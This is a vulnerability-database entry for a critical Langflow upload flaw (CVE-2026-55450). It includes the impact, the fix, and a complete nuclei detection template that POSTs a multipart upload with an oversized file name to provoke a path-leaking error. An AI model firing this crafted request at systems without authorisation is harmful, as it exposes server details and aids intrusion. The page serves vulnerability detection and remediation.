HexBrain

Browse / CVEs / CVE-2026-55450

CVE-2026-55450· CWE-306, CWE-400, CWE-200

Langflow < 1.9.1 - Unauthenticated File Upload

criticalseverity
9.3CVSS score
1.2%likelihood of exploitation, next 30 days
68%of all CVEs are less likely
Readycheck to confirm it

Langflow < 1.9.1 contains an unrestricted file upload caused by lack of upload limitations, letting unauthenticated attackers exhaust server space and leak absolute file paths, exploit requires network access.

Impact

Unauthenticated attackers can exhaust server storage and gain information about file paths, potentially aiding further attacks.

Fix

Update to version 1.9.1 or later.

How to confirm it

Send: POST {{BaseURL}}/api/v1/upload/11111111-1111-1111-1111-111111111111
Positive when: status_code == 500 and contains(body, "[Errno 36] File name too long") and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2026-55450 -u <target>

The full check
id: CVE-2026-55450

info:
  name: Langflow < 1.9.1 - Unauthenticated File Upload
  author: xtr0nix
  severity: critical
  description: |
   Langflow < 1.9.1 contains an unrestricted file upload caused by lack of upload limitations, letting unauthenticated attackers exhaust server space and leak absolute file paths, exploit requires network access.
  impact: |
    Unauthenticated attackers can exhaust server storage and gain information about file paths, potentially aiding further attacks.
  remediation: |
    Update to version 1.9.1 or later.
  reference:
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-x223-p2gf-v735
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H
    cvss-score: 9.3
    cve-id: CVE-2026-55450
    epss-score: 0.0119
    epss-percentile: 0.68213
    cwe-id: CWE-306,CWE-400,CWE-200
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,langflow,unauth,intrusive,vkev

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/v1/upload/11111111-1111-1111-1111-111111111111"

    body: |
      --boundary
      Content-Disposition: form-data; name="file"; filename="x.{{repeat('a', 300)}}"
      Content-Type: text/plain

      probe
      --boundary--
    headers:
      Content-Type: multipart/form-data; boundary=boundary

    matchers:
      - type: dsl
        dsl:
          - status_code == 500
          - contains(body, "[Errno 36] File name too long")
          - contains(content_type, "application/json")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from